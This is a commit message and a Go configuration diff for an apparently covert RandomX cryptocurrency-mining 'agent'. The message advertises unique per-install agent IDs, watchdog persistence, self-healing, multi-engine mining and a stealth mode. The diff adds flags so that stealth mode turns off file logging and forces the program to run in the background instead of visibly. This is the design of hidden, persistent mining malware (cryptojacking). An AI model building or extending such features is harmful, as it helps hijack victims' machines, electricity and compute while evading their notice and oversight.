Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/config/config.go

@@ -38,6 +38,10 @@ type BuiltinConfig struct {
 	InstallBase         string
 	InstallCustomBase   string
 	InstallRelativePath string
+	AdaptToHardware     bool
+	SelfHealing         bool
+	FileLogging         bool
+	StealthMode         bool
 }
 
 type RuntimeConfig struct {
@@ -99,6 +103,12 @@ func Load() RuntimeConfig {
 	if b.InstallRelativePath == "" {
 		b.InstallRelativePath = DefaultInstallRelativePath
 	}
+	if b.StealthMode {
+		b.FileLogging = false
+		if b.DisplayMode == "" || b.DisplayMode == "visible" {
+			b.DisplayMode = "background"
+		}
+	}
 	return RuntimeConfig{BuiltinConfig: b}
 }